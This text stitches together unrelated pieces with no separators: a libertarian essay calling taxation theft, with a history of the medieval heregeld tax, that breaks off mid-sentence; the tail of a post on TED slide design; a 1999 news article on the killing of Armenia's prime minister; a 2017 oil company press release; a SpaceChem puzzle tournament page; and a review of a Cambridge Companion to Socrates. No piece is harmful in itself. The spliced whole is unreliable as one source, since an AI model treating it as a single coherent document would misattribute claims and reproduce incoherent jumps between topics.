As Franz Oppenheimer has pointed out, States are essentially the result of conquests by gangs of marauders who realized that operating a protection racket was far more profitable than simply grabbing everything that wasn't nailed down and making off with. In modern democracies it has become easier for citizens to join the ruling class (i.e., the more civilized version of these marauders), which has greatly increased acceptance of the State. Also, a large number of people has been bought off with 'free' goodies and all and sundry have had it drilled into them throughout their lives that the State is both inevitable and irreplaceable.
There are of course other advantages to be had in democracies, such as the fact that a market economy is allowed to exist (even if it is severely hampered) and that free speech is tolerated. One considerable drawback though is that taxation has historically never been higher than in the democratic order (and still these States are all teetering on the edge of bankruptcy anyway).
As an aside, conscription and the closely associated concept of 'total war' are also democratic 'achievements'. Whereas war was once largely confined to strictly localized battles between professionals, the French revolution and its aftermath was a pivot point that marked a change in thinking about war and ultimately paved the way for legitimizing the all-encompassing atrocities of the 20th century, with civilians suddenly regarded as fair game.
A little historical excursion: Under medieval kings there was at least occasionally a chance that a tax might actually be repealed, even if only temporarily. For instance, in 1012 the heregeld was introduced in England, an annual tax first assessed by King Ethelred the Unready (better: 'the Ill-Advised'). Its purpose was to help pay for mercenaries to fight the invasion of England by King Sweyn Forkbeard of Denmark.
Ethelred had been forced to pay a tribute to the Danes for many years, known as 'Danegeld'. In 1002 AD he apparently got fed up and in a fit of pique ordered the murder of all Danes in England, an event known as the St. Brice's Day Massacre. Not surprisingly, this incensed the Danes and Sweyn Forkbeard's invasion was the result. Sweyn seized the English throne in 1013, but died in 1014, upon which Ethelred was invited back by the nobles (under the condition that he 'rule more justly'). However, he soon died as well, which left Edmund Ironside in charge for a few months in 1016. Sweyn's son Knut eventually conquered England later in the same year. Knut simply continued to collect the heregeld tax after ascending to the throne. The heregeld was a land tax based on the number of 'hides' one owned (the hide is a medieval area measure, the precise extent of which is disputed among historians; one hide was once thought to be equivalent to 120 acres, but this is no longer considered certain). The tax was finally abolished by King Edward the Confessor in 1051 (Edward was Ethelred's seventh son and was later canonized. He was the last king of the House of Wessex). The tax relief unfortunately proved short-lived. Shortly after Edward's death in 1066, the Normans conquered England and 'hideage' was reintroduced.
Ethelred the Unready, inventor of the heregeld tax, holding an oversized sword. Although he is generally referred to as 'the Unready', this translation of his nickname is actually incorrect: rather, it should be 'ill-advised' or 'ill-prepared'. In the original old English “Æþelræd Unræd”, the term 'unread' is actually a pun on his name. 'Ethelred' means 'noble counsel' (in modern German: 'Edler Rat') – his nickname thus juxtaposes 'noble counsel' with 'no counsel' or 'evil counsel'.
(Image source: Wikimedia Commons)
Ethelred's nemesis, the Danish King Sweyn Forkbeard, likewise holding an oversized sword
(Image source: Wikimedia Commons)
The man who abolished the heregeld tax, St. Edward the Confessor. It is noteworthy that he is usually not depicted holding an oversized sword (he was however reportedly not inexperienced in military matters. When Welsh raiders attacked English lands in 1049, they soon had reason for regret. The head of one of their leaders, Rhys ap Rhydderch, was delivered to Edward in 1052. The head was no longer attached to the rest of Rhys). Edward is probably not mainly remembered for this, but he gave England fifteen glorious years free of hideage tax.
(Image source: Wikimedia Commons)
As Murray Rothbard writes in 'The Ethics of Liberty' on the State's monopoly of force and its power to extract revenue by coercion:
“But, above all, the crucial monopoly is the State’s control of the use of violence: of the police and armed services, and of the courts—the locus of ultimate decision-making power in disputes over crimes and contracts. Control of the police and the army is particularly important in enforcing and assuring all of the State’s other powers, including the all-important power to extract its revenue by coercion. For there is one crucially important power inherent in the nature of the State apparatus. All other persons and groups in society (except for acknowledged and sporadic criminals such as thieves and bank robbers) obtain their income voluntarily: either by selling goods and services to the consuming public, or by voluntary gift (e.g., membership in a club or association, bequest, or inheritance). Only the State obtains its revenue by coercion, by threatening dire penalties should the income not be forthcoming. That coercion is known as “taxation,” although in less regularized epochs it was often known as “tribute.” Taxation is theft, purely and simply even though it is theft on a grand and colossal scale which no acknowledged criminals could hope to match. It is a compulsory seizure of the property of the State’s inhabitants, or subjects. It would be an instructive exercise for the skeptical reader to try to frame a definition of taxation which does not also include theft. Like the robber, the State demands money at the equivalent of gunpoint; if the taxpayer refuses to pay his assets are seized by force, and if he should resist such depredation, he will be arrested or shot if he should continue to resist. It is true that State apologists maintain that taxation is “really” voluntary; one simple but instructive refutation of this claim is to ponder what would happen if the government were to abolish taxation, and to confine itself to simple requests for voluntary contributions. Does anyone really believe that anything comparable to the current vast revenues of the State would continue to pour into its coffers? It is likely that even those theorists who claim that punishment never deters action would balk at such a claim. The great economist Joseph Schumpeter was correct when he acidly wrote that “the theory which construes taxes on the analogy of club dues or of the purchase of the services of, say, a doctor only proves how far removed this part of the social sciences is from scientific habits of mind.”
(emphasis in original)
In the pages following this excerpt, Rothbard expertly demolishes numerous spurious arguments that have been forwarded in support of taxes by people claiming that they are somehow akin to voluntary contributions.
The Vote Changes Nothing
In the course of this disquisition Rothbard also discusses whether the democratic vote actually makes a difference in this context, whether, as he puts it, the “act of voting makes the government and all its works and powers truly “voluntary.” On this topic he quotes from the observations of anarchist political philosopher Lysander Spooner, who wrote the following in 'No Treason:The Constitution of No Authority':
“In truth, in the case of individuals their actual voting is not to be taken as proof of consent.... On the contrary, it is to be considered that, without his consent having even been asked a man finds himself environed by a government that he cannot resist; a government that forces him to pay money renders service, and foregoes the exercise of many of his natural rights, under peril of weighty punishments. He sees, too, that other men practice this tyranny over him by the use of the ballot. He sees further, that, if he will but use the ballot himself, he has some chance of relieving himself from this tyranny of others, by subjecting them to his own. In short, he finds himself, without his consent, so situated that, if he uses the ballot, he may become a master, if he does not use it, he must become a slave.
(emphasis added)
Discussing taxation in the same text, Spooner famously compares government to highwaymen. He is however not merely equating one with the other, but rather concludes that highwaymen are to be preferred. After all, neither are their activities attended by hypocrisy, nor are their demands without limit (we would add to this that no-one ever published learned papers advising them how to best go about grabbing more loot).
“It is true that the theory of our Constitution is, that all taxes are paid voluntarily; that our government is a mutual insurance company, voluntarily entered into by the people with each other.... But this theory of our government is wholly different from the practical fact. The fact is that the government, like a highwayman, says to a man: “Your money, or your life.” And many, if not most, taxes are paid under the compulsion of that threat. The government does not, indeed, waylay a man in a lonely place, spring upon him from the roadside, and, holding a pistol to his head, proceed to rifle his pockets. But the robbery is none the less a robbery on that account; and it is far more dastardly and shameful. The highwayman takes solely upon himself the responsibility, danger, and crime of his own act. He does not pretend that he has any rightful claim to your money, or that he intends to use it for your own benefit. He does not pretend to be anything but a robber. He has not acquired impudence enough to profess to be merely a “protector,” and that he takes men’s money against their will, merely to enable him to “protect” those infatuated travelers, who feel perfectly able to protect themselves, or do not appreciate his peculiar system of protection. He is too sensible a man to make such professions as these. Furthermore, having taken your money, he leaves you, as you wish him to do. He does not persist in following you on the road, against your will; assuming to be your rightful “sovereign,” on account of the “protection” he affords you. He does not keep “protecting” you, by commanding you to bow down and serve him; by requiring you to do this, and forbidding you to do that; by robbing you of more money as often as he finds it for his interest or pleasure to do so; and by branding you as a rebel, a traitor, and an enemy to your |
will blow their socks off.
These are not the only good presentations at TED, but these are some of the better ones. Perhaps you'd like to share your personal favorites from the point of view not just of content but from the stand point of preparation, design, and delivery.
Bill Gates vs. Bill Gates
Again, you do not have to use slides at TED (or TEDx, etc.), but if you do use slides, think of using them more in the style of Bill Gates the TEDster rather than Bill Gates the bullet point guy from the past. As Bill has shown, everyone can get better at presenting on stage.
If you have a short-form presentation to give, be more like the new & improved Bill Gates (left).Shooting death of Armenian prime minister heightens crisis in the Caucasus
By Chris Marsden
29 October 1999
The killing of Armenian Prime Minister Vazgen Sarkisyan and other leading politicians in Wednesday's attack by nationalist terrorists has plunged the country into crisis. Armenia's Defence Ministry immediately demanded the sacking of top law enforcement officials. Its statement read, “Those who allowed this crime to happen are responsible before the Armenian nation.... The situation which has been created is fraught with uncertainty, the internal and external security of the state is in danger.''
The parliament building was cordoned off by hundreds of police after four gunmen charged into the delegates' chamber in the capital of Yerevan at 5:15 p.m. They opened fire and announced they were staging a coup d'etat. Other victims included Karen Demirchian, the parliamentary speaker, Yuri Bakhshian and Ruben Miroian, deputy speakers, Leonard Petrosian, Armenia's emergencies minister, and at least four others.
The gunmen surrendered to police on Thursday morning, releasing 40 hostages, after all-night negotiations with Armenia's President Robert Kocharian. The president promised the gunmen safe passage and a fair trial.
Their leader is Nairi Unanian, a nationalist and former journalist. His brother and uncle were also involved in the attack. Unanian had been a member of the Armenian Revolutionary Federation, popularly known as Dashnak, but the group said he had been expelled several years ago and denied any link with the attack.
Dashnak is seen as having friendly relations with the government. Previously a proscribed organisation, Sarkisyan reversed the ban on Dashnak after he came to power and invited leading members into the government.
The gunmen, in their own statements, focused their denunciations of the government on worsening poverty and rampant corruption. An Armenian journalist who was in the parliament quoted one of the gunmen as saying, "We have come to avenge those who have drunk the blood of the nation."
Unanian himself told local television the attack on the legislature was aimed at triggering a popular revolt. "In this country, it is not possible to create a political organisation.... The people have no way to go." He had acted to save Armenia from disintegration. "The country is in a catastrophic situation. People are hungry and the government doesn't offer any way out," he said.
A recorded statement by the gunmen was broadcast on Armenian television before they agreed to surrender. In the statement, Unanian said the assault had been intended to kill only Sarkisyan and the other deaths were "mistakes".
Prime Minister Sarkisyan was due to present a three-year economic reform plan to parliament in the coming weeks, based on plans drawn up by the World Bank earlier this month. The Bank has agreed to lend Armenia $238 million in return for an economic restructuring program involving substantial cuts in social subsidies to an already devastated population. At present the country's Gross Domestic Product is just $600 per capita.
Concerns amongst Western political leaders focused on fears that the attack would undermine attempts to resolve the long-running dispute with neighbouring Azerbaijan over the Armenian enclave of Nagorno-Karabakh. US President Bill Clinton said Sarkisyan's death was a "real blow to that country and that region.... We have a good relationship with Armenia and we have done a lot of work with Armenia and Azerbaijan to try to resolve the difficulties surrounding Nagorno-Karabakh."
Sarkisyan, a one-time Soviet official, was appointed Armenian prime minister last June after helping President Kocharyan to power. Kocharyan had campaigned on a nationalist platform, accusing his predecessor, Levon Ter-Petrosian, of pursuing "defeatist" policies regarding independence for Nagorno-Karabakh by agreeing to discuss returning the territory to Azerbaijan.
Sarkisyan himself was a long-time member of Armenia's nationalist movement, aiming for independence of Nagorno-Karabakh from Azerbaijan. Following Nagorno-Karabakh's declaration of independence in 1988, Sarkisyan was the commander of the Nagorno-Karabakh volunteers and later Armenia's defence minister.
But he and the government have been under increasing pressure to reach an agreement with Azerbaijan. Less than two hours before the parliament building was stormed, US Deputy Secretary of State Strobe Talbott left Yerevan after holding talks with Sarkisyan and Kocharyan over Nagorno-Karabakh. Earlier in the week he met with Azeri President Haidar Aliyev to discuss the conflict, and he was scheduled to hold talks on the matter in Russia and France.
About 35,000 people were killed and a million left homeless in the war that erupted between Armenia and Azerbaijan over Nagorno-Karabakh in the final years of the Soviet Union. A cease-fire was signed between Azerbaijan and the Armenian separatists in 1994, leaving Nagorno-Karabakh under effective Armenian control, along with surrounding Azeri territory. However, hostilities continued.
Talks presided over by the Organisation for Security and Cooperation in Europe (OSCE) failed to produce an agreement. While Azerbaijan offered wide-ranging autonomy, the Armenians demanded full independence.
This failure of the European powers encouraged an increasingly open intervention by the US. The entire Caucasus region has been the focus of conflicting schemes by America and Europe over developing an East-to-West transport corridor for oil and natural gas—from Central Asia and the Caspian Sea via the Caucasus to the Black Sea and Europe.
Politics in the region are dominated by the struggle for control of the oil routes vital to the exploitation of energy reserves in the former Soviet republics. Western transnational companies are competing for the lion's share of trillions of dollars in raw materials, including the world's greatest untapped oil reserves in the republics bordering the Caspian Sea, including Azerbaijan, as well as Kazakhstan and Turkmenistan. The US Department of Energy estimates that 163 billion barrels of oil and up to 337 trillion cubic feet of natural gas are to be found there. Analysts also expect the Caspian region to become a major gold producer.
Strobe Talbott's shuttle diplomacy is part of the US government's efforts to secure its dominant role in the region, and establish the stability necessary for commercial operations to go ahead. The US State Department indicated it was hopeful a framework for agreement would be in place prior to the Istanbul summit of the OSCE in November.
Russia has become increasingly unhappy over US and European designs on territories it once dominated or controlled. Its active role in the region's various disputes led to accusations of possible Russian involvement in Wednesday's attack from within the Armenian government. First Deputy Foreign Minister Khalaf Khalafov told the press, "I can't exclude that this was initiated by outside forces that want to destabilise the country during the Nagorno-Karabakh talks." "Outside forces" in the political lexicon of the Caucasus is usually seen as alluding to Russia.
The speculation and concerns surrounding the attack—even if the gunmen turn out have been acting alone—are indicative of the extreme volatility, not just of Armenia, but the entire Caucasus. The bloody events of Wednesday are symptomatic of the terrible economic, social and political decline produced by the collapse of the USSR—itself the result of the ruinous policy of the Stalinist bureaucracy and the drive of the imperialist powers to gain access to Soviet resources. Mass poverty, unemployment, government repression, crime, economic and social disintegration have been the lot of the broad masses of the former Soviet Union, while the separatist forces once hailed by Western governments as the seedbed of a new democracy threaten the complete destabilisation of the region.HOUSTON AMERICAN ENERGY ANNOUNCES INITIAL PRODUCTION RATE ON JOHNSON STATE #1H WELL AND PROVIDES UPDATE ON REEVES COUNTY DRILLING OPERATIONS
Houston, Texas – August 1, 2017 – Houston American Energy Corp. (NYSE MKT: HUSA) today announced production information on its Johnson State #1H well and provided an update with respect to the status of its drilling and completion operations in Reeves County, Texas.
The company’s Johnson State #1H well, a 4,510 foot lateral Lower Wolfcamp A shale completion, is the company’s first well in Reeves County. On July 28, 2017, the operator began the process of shutting in the well pending completion of production handling facilities and tying into the gas sales line, which is anticipated within the next two weeks. Prior to shut in, the latest daily flowback report indicated production rates of 351 barrels of oil per day and 4,269 mcf of natural gas per day, or a combined 1,062 barrels of oil equivalent per day.
The company’s second Reeves County well, the O’Brien #3H, reached total depth on July 1, 2017. The well, with a 4,575 foot horizontal leg in the Upper Wolfcamp A shale, is scheduled to commence hydraulic fracturing operations during the second half of August 2017.
John P. Boylan, CEO and President of Houston American stated, “We are very pleased to begin seeing the fruits of our investments in Reeves County. Our Johnson State #1H well is our first Reeves County well and initial results are encouraging and slightly exceed our original expectations. We plan to announce initial production rates from our O’Brien #3H well when they become available. While we remain in the very early stages of our planned operations in Reeves County, initial results appear to support our rationale for entry into the Permian (Delaware) Basin and the prospects of a multi-well drilling program on our initial acreage. The Johnson State #1H well is our first meaningful U.S. well and marks a milestone in the repositioning of our company as a Permian (Delaware) Basin participant. We expect to see meaningful improvements in our production, revenue and profitability by the end of Q3 2017.”
About Houston American Energy Corp
Based in Houston, Texas, Houston American Energy Corp. is a publicly-traded independent energy company with interests in oil and natural gas wells, minerals and prospects. The Company’s business strategy includes a property mix of producing and non-producing assets with a focus on the Permian (Delaware) Basin in Texas, Louisiana and Colombia.
Forward-Looking Statements
The information in this release includes certain forward-looking statements that are based on assumptions that in the future may prove not to have been accurate, including statements regarding ultimate production rates, timing of completion of production handling facilities and tie in to the gas sales line, timing of hydraulic fracturing operations on the O’Brien #3H well, improvements in production, revenues and profitability, the ultimate viability of a multi-well drilling program and results of drilling and completion operations. Those statements, and Houston American Energy Corp., are subject to a number of risks, including the potential inability to secure financing to fund Houston American’s share of well costs, timing of drilling operations, ultimate drilling results, potential changes in production rates, fluctuations in energy prices, fluctuations in drilling and operating costs, changes in market conditions, effects of government regulation and other factors. These and other risks are described in the company’s documents and reports that are available from the company and the United States Securities and Exchange Commission.2017 SpaceChem Tournament
Jun 01 - Jun 18 Antimony Mining (easy)
Jun 09 - Jun 25 7 or 8 (easy)
Jun 16 - Jul 02 Doping (easy)
Jun 23 - Jul 09 What a Waste (medium)
Jun 30 - Jul 16 Long Slog (medium)
Jul 07 - Jul 23 A/C without AGW (medium)
Jul 14 - Jul 30 Masochism (hard)
Jul 21 - Aug 06 Noble Fission (variable)
Jul 28 - Aug 13 Big Hex Grid (variable)
Aug 04 - Aug 20 Hilbert Curve (hard)
Scoring
Due Dates
[en.wikipedia.org]
Exploits
Links
[drive.google.com]
[spacechem.wikia.com]
Welcome to the 2017 SpaceChem Tournament. I, gggol, will be your host. Send your solutions to me at simpleeqbest@hotmail.com. Let's use SpagChem's excellent tool from the 2015 tournament.I'll post a new puzzle every week. You'll have a weekend and 2 weeks for each one. Here's the schedule:Scoring is computed like in 2015, but for both cycles and symbols. Since lower scores are better, the formula for each category is: best score / your score. Most puzzles will have only 2 categories: cycles and symbol count. The total score of a puzzle entry is: best cycles / your cycles + best symbols / your symbols.Some puzzles will have additional categories, which could be least waldos, least bonders, least use of a particular kind of symbol such as the flip-flop, least reactors (for production puzzles), least cells used by the waldos (waldopath), etc. In some of these categories (least bonders and least flip-flops), the minimum can be zero. I'll add one to everyone's scores in those categories, to avoid division by zero and scores of zero for everyone who didn't achieve the minimum.There could also be maximums, for instance a puzzle in which there is no choice but to store waste, and the challenge is to produce as many outputs as possible before your solution clogs and breaks. For those categories, the score will be: your score / best score.You can submit solutions as often as you like. I will use only your most recent submission for scoring. If you improve a solution in both cycles and symbols, definitely submit it. If you improve in one and worsen in another, will be hard to know whether that will give you a better score.As long as it is still the day the puzzle is due somewhere in the world, I'll accept solutions. Puzzles are due by midnight in timezone GMT-12. Anywhere on Earth No Wrong Output. That one could completely wreck some of these puzzles. Other than that, anything goes! See the 2015 Tournament guide Puzzle and solution files are on Google Drive. Puzzle files are also on Reddit researchnet. ZeroOne is keeping results on wikiaThough The Cambridge Companion to Socrates strives for an intellectual portrait of "the first real philosopher", the nature of the man it seeks to accompany gives him as usual the last laugh. It contains fifteen valuable treatments of various Socratic themes: Socrates on politics or religion; his intellectual climate, students and legacy; the Socratic method, self-examination, ignorance, irony, psychology, happiness. For a student desiring a sense of the Stand der Forschung, each essay individually makes a good starting point. Yet as the editor, Donald R. Morrison, says in his Preface, "the deepest problem facing the editor of a general volume is the lack of a single subject-matter. Socrates is essentially contested territory" (xiv). I take it he does not (only) mean that there are competing interpretations of Socrates' thought, but also that there is little agreement on what we are talking about when we talk about "Socrates". While I doubt this is a problem for editors of general volumes generally, it is in this case an insoluble one, closely connected to the "Socratic problem" Louis-André Dorion tries so forcefully to exorcise. Perhaps inevitably and even fittingly, this volume never brings Socrates into clear focus. He remains our spectral ancestor.
The essays fall into two groups: one on the historical context of the historical Socrates (e.g., Chs. 2, 5, 7, 15, and to some extent 3 and 4); and one on the philosophy of Socrates himself (6, 8-14). Since relatively plentiful external evidence exists for the former, it rests on more solid ground. Socrates having written nothing, however, we have no direct evidence regarding his views or teachings. Thus, those writing on his philosophy claim neutrality on the Socratic problem, or say that "Socrates" names the figure of Socrates in Plato's dialogues. Only three or four of these essays are about Socrates (though not his "philosophy"), while the rest do concern philosophy, but that of a fictionalized thinker named "Socrates". Morrison's response to Socrates' elusiveness is to let his contributors "define the Socrates who is the subject of their individual chapters differently" (xiv). As a result, the essays vary in usefulness to the non-specialist for whom Cambridge Companions are intended, though the specialist will find groundbreaking technical work on Plato's Socrates.
The quality of the writing is uneven. Melissa Lane's and Charles Griswold's essays are models of brevity and clarity. By contrast, Terry Penner's and Christopher Bobonich's chapters, though compelling, are too long and technical for the inexpert, just as the chapters by Dorion and Klaus Döring[1] are intimidatingly philological, at least as opening essays. Unlike, say, The Cambridge Companion to Aristotle, this book lacks an introductory survey of the main ideas associated with the name "Socrates", of Socrates' position in ancient thought generally, or his importance for modern thinkers such as Montaigne, Kierkegaard, Nietzsche, or even Gandhi (who rendered the Apology in Gujarati). Such an orientation would have been helpful for those meeting this enigmatic figure for the first time.
In this review, I focus on some of the most challenging contributions, by Dorion, Josiah Ober, Richard Bett, Penner and Bobonich. In light of the insuperable problems of reconstructing Socrates' thought, Dorion demarcates a future hermeneutics more sensitive to the fictional and inter-textual dimensions of Socratic literature. Ober's essay makes important contributions to our understanding of the historical context of Socrates' trial, but also in my view shows the danger historicism poses to the interpretation of Plato's necessarily anachronistic (or timeless) idealism. Bett's nuanced treatment of the central problem of Socratic ignorance reveals the difficulty simply in establishing what (Plato's) Socrates said, not to mention what he meant. Finally, Penner's and Bobonich's chapters are perhaps the most dense and difficult in this rich volume, and deal with the central Socratic question of how to be happy.
* * * * * * *
The decision to place Dorion's piece on "The Rise and Fall of the Socratic Problem" at the head of the Companion -- not to mention the thesis of the chapter itself -- haunts the entire collection, for the "Socratic problem" is this: how "to reconstruct the philosophical doctrines of the historical Socrates" -- just what one may expect to find in a "Companion to Socrates" (1). Dorion gives an excellent discussion of the historical roots of the problem in Schleiermacher, who holds that Xenophon not only was unqualified to render Socrates' thought philosophically, but also that he sanitized him: Xenophon's Socrates is so bland and banal that there must have been more to the man. Thus we are forced to turn to Plato, but only insofar as he harmonizes with Xenophon's description of Socrates' character and practical advice (4). Dorion's immanent critique of this "method" notwithstanding, Schleiermacher's denigration of Xenophon led over the course of the nineteenth century to the "full rejection of Xenophon's account" and the consensus that "the historical Socrates completely correspond[s] to Plato's Socrates" (5). Though this view is now considered extreme, "twentieth-century scholarship has... endorsed [it] by ostracizing Xenophon's Socrates and by deeming Plato's Socrates the only one worthy of any interest" (5) (as many chapters of this book evidence).
But the rejection of Xenophon did not solve the Socratic Problem, due to disagreement over the reliability of our three other sources: Aristophanes, Plato, and Aristotle. While Aristophanes was set aside for obvious reasons[2], Plato's dialogues proved too diverse to support a consensus. The issue was crystallized in Karl Joël's discovery of the "fictional nature of the logoi sôkratikoi" (7).[3] According to Dorion, the Socratic Problem rests on the false assumption that Xenophon and Plato intended to give a faithful portrait of Socrates' ideas, when in fact the Sôkratikos logos as a literary genre allowed for "a certain degree of fiction and a great freedom of invention" (7). Hence, though the logoi might preserve an "incidentally" authentic trait, "it would certainly be more prudent to renounce any hope of finding the 'true' Socrates in these writings" (8-9).
The Sôkratikoi logoi were sites of contestation from the first generation of "Socratics" onwards. This has two hermeneutical consequences: first, no one interpretation may be favored, for what would the historical basis for such preference be? Second, any attempt to harmonize the various logoi turns out to be impossible or superficial. Impossible: there are insoluble contradictions between Plato and Xenophon, e.g., the fact that Xenophon's Socrates "hardly ever practices the elenchus, never acknowledges his ignorance regarding the most important questions, and in contrast to Plato's Socrates, never identifies a philosophical mission" (9-10); superficial: apparent agreement may "mask more fundamental discrepancies" (10). Nevertheless, Dorion criticizes Joël's hope that Aristotle's account of Socrates -- because it is not aSôkratikos logos -- might be used to solve the problem, for that account is neither objective nor disinterested, has an "extremely narrow scope", and is silent on thedaimonion, enkrateia, piety, elenchus, political engagement, the gnôthi seauton, and the lex talionis (11).
So what remains? What can we believe about Socrates? Dorion offers two things: (a) facts about Socrates' biography and appearance; (b) a strong likelihood that the common themes in Xenophon and Plato represent Socratic themes, despite the fact that we cannot reconstruct the arguments for the positions we may attribute to him. Dorion's essay takes a puzzling turn here. In speaking of Eugène Dupréel and Olaf Gigon's rejection of the Socratic problem, he praises the latter's work as a "stimulating illustration of another type of research into Socrates and the Socratic tradition" (12). Since Socratic literature "always involves an irreducible element of fiction, invention, and creativity (Dichtung [if not Erdichtung]), then it must be studied in and of itself as such" (12). This seems not only an attractive idea but also our only option. Yet now Dorion says: "In other words, we should be attentive to the variations that we can find among the different versions of a single Socratic theme in order to throw light on the significance and the scope of the variations [for] the philosophy and the representation of Socrates" (12). Is this then what Joël, Dupréel, and Gigon recommend -- a kind of eidetic variation on Socratic themes leading to an intuition of "the philosophy of Socrates"? How does that differ from Schleiermacher's method that Dorion earlier criticized? Schleiermacher tried to isolate the Socratic essence by testing Plato's texts on a Xenophontic touchstone. The point of Joël's insight into the Sôkratikoi logoi is that both of these fictional accounts are inappropriate bases for historical reconstructions -- so how could they now be used, as Dorion seems to wish, to throw light "on the philosophy of Socrates"? He seems still to grasp at a straw of Socratic truth, which he previously prudently rejected. In his last section on the future of Socratic studies, Dorion seems to correct himself, saying that a comparative approach freed from the hobble of the Socratic problem, will (merely) "enrich our understanding of thereception of Socratism" (19; emphasis added; cf. 20).
The unclarity in Dorion's view is the more mystifying in view of the rest of his essay, a powerful critique of Gregory Vlastos and Charles Kahn, both of whom, while accepting the fictional nature of the Sôkratikoi logoi, nevertheless try to salvage something of the real Socrates. Yet, as Dorion shows, Vlastos "grossly overestimated the agreement between Xenophon and Plato" on which he pinned his hopes, while Kahn illegitimately holds the Apology exempt from the otherwise acknowledged fictionalism. Dorion's essay is a useful précis of the leading edge of Socratic hermeneutics: reject the illusory idea of "the philosophy of a noumenal Socrates" altogether, and instead organize interpretation around the "diffracted" phenomenon of a Socratic theme. Since Morrison himself seems to agree (cf. 20), it is strange how Dorion's fundamental critique is largely ignored in the rest of the volume.
* * * * * * *
Ober's "Socrates and Democratic Athens" is the main historical contribution, addressing a host of questions surrounding his trial and execution. Why was he charged and convicted? Was he guilty? Why didn't he leave, and where did his loyalties lie? "Most pressing: how did a democratic community, committed to... free speech and public debate, come to convict and execute its most famous philosopher-citizen?" (138). It opens with a valuable "Legal Narrative" on relevant law and procedure, making the key point that there was no "strong normative consensus" regarding the substance of "impiety" -- one of the charges leveled against Socrates (140). Hence, the question whether Socrates was "actually guilty" of impiety is "unanswerable" (141). The philosophically tempting question would be why the Athenians thought it "better to condemn" him, as Socrates puts it at Phaedo 98e, yet Ober is scrupulous about what can and cannot be asserted about Socrates and his trial, despite this event being "the best-documented" in his life (138). He therefore merely asks: "'How and why did the early Socratic tradition seek to prove Socrates innocent -- in respect to absolute justice and in the eyes of a "reasonable" Athenian judge?'" (141). Ober admits that the actual arguments of the trial are an "interpretive dead end" (142), and that one can only "guess" at "Meletus's rhetorical exposition" (143) and try to reconstruct the "legal and historical" context of the trial (144). I want to stress the implications of Ober's hermeneutical modesty for the Companion as a whole: although Socrates' trial and execution are the events in his life about which we are best informed, we are even here condemned to guesswork. There is nothing solid upon which to base any reconstructions of Socrates' defense, not to mention his "philosophy".
Turning to the social, cultural, political and legal contexts, Ober argues that the Crito shows that the consideration of harm to the laws is decisive for Socrates (148). Given the trial's legality and observance of "due process", as well as the absence of any official avenue of appeal or redress, escape would "constitute a substantive harm to the edifice of Athenian law" (148-9). There are, however, two difficulties in describing Socrates' deliberations as involving a "weigh[ing] [of] the assumed injustice of the conviction against the potential harm [of escape] to the polis's laws" (149; emphasis in original): first, it is not clear that Socrates in fact considers the conviction unjust; second, he does not "weigh" harm against harm. Rather, he deduces from first principles the practical conclusion that escape would be wrong, and this deduction holds irrespective of the conviction's "wrongness".[4]
Again, in Ober's treatment of the "Personification of the Laws of Athens", he correctly indicates that the "law of Athens" is "as [Socrates] himself has come to understand it" (149). I would not call these laws "imagined", as Ober does, but rather "idealized". Though the relationship between law and citizen described in the Personification to some extent really obtained in Athens (perhaps more than anywhere else), what Socrates describes is an ideal relation of law to citizen, one in which the citizen's duty to obey flows from his freedom to legislate the law to himself, a form of autonomy politically founded in the institutions of "persuasion". Ober by contrast emphasizes the "unequal social positions" of law and citizen (149-50; cf. Cr. 50e), suggesting that it is this asymmetry that underlies the impermissibility of the "retaliatory" act of escaping from prison, rather than any "pure" practical reasoning (150). He also gives an interesting account of the conception of the laws as paternalistic "masters" such that "the citizen is quite literally a product of the laws" (150). Because the citizen is the slave of and even made by the laws, he owes them three things: obedience (151-2); civic participation (152); and contribution of individual excellence (152-3). Ober's social-historical account of these obligations is fascinating, but he misses and omits a crucial dimension of the laws' constitution of the citizen, namely the "persuade or obey doctrine [POD]" laid down by the laws at, e.g., Cr. 51b. This dialectical component is the cornerstone of true political autonomy which, of course, was only inadequately realized in Athens, but which is nevertheless the principle behind Socrates' decision to remain in prison. We owe the state our obedience not because the laws are our "masters" or "super-parents". Indeed, it is just this paternalism that is crucially modified by the POD; moreover, we always have the option in principle of running away from these masters (cf. Ober, 157). Rather, we must obey because this is what we have agreed to; retaliation is unacceptable because we implicitly prohibited ourselves from retaliating, viz., by having agreed to the absolute sovereignty of the good (Cr. 48b).
I fear that the social-political context described here by Ober serves as much to obscure as to clarify. For instance, his discussion of Athens' military obligations leads him to the strange view of Socrates' execution as self-sacrifice akin to a soldier's death in battle. If his death were to be compared to a soldier's at all, it would be by friendly fire -- the result of a mistake, not the considered judgment of the state (as opposed to vindictive and ignorant judges). Again, despite the interest of what Ober calls the citizen's "payment schedule for goods received" (151), and aside from its questionable relevance[5], the "contractual" view assumed here is fundamentally inapposite to the Crito's argumentation. Further, Ober's oversight of the ideal status of the (Athenian) Laws in the Personification obscures the nature of the "common ground" inhabited by Socrates and Athens (158): Socrates always acted as if he were living in an ideal polis, one resting entirely on a rational (dialectically justifiable) basis; thus he was "in line" with the idealized laws, for these are the rational counterparts on the political level of his own principles at the moral level. In a deep sense, therefore, the compatibility of Socrates' actions with the actual statutes is incidental or irrelevant. Short of Athens having been entirely lawless, Socrates' autonomous adherence to ideal laws was bound to involve obeying actual Athenian law. Even if no other polis proved better, his abidance still in no way implies Socrates' full satisfaction with the Athenian system, or that he would not have seen it as falling short of the ideal community of virtue towards which he was incessantly trying to prod it.
In the remaining sections, Ober sometimes slips into the extractive hermeneutics of which he first seemed wary, concluding from the fictional (Platonic) to the historical Socrates. Still, the argument is interesting: while Socrates acknowledged having certain civic duties the fulfillment of which he owed the state, he gave this debt an unconventional interpretation (163), namely playing the role of "critic of the status quo" (164; cf. n.49). On Ober's view, the apparently contradictory aspects of Socrates' role and personality were not as such the cause of his downfall. On the contrary, he "fit within an Athenian culture based on a capacity among the citizenry to embrace contradictions" (166). Therefore, Ober turns to the events of 399 that finally "tipped the balance" between Socrates' "peculiarities of behavior and expression" and his "sincere and convincing self-portrayal as an obedient and participatory citizen" (167).
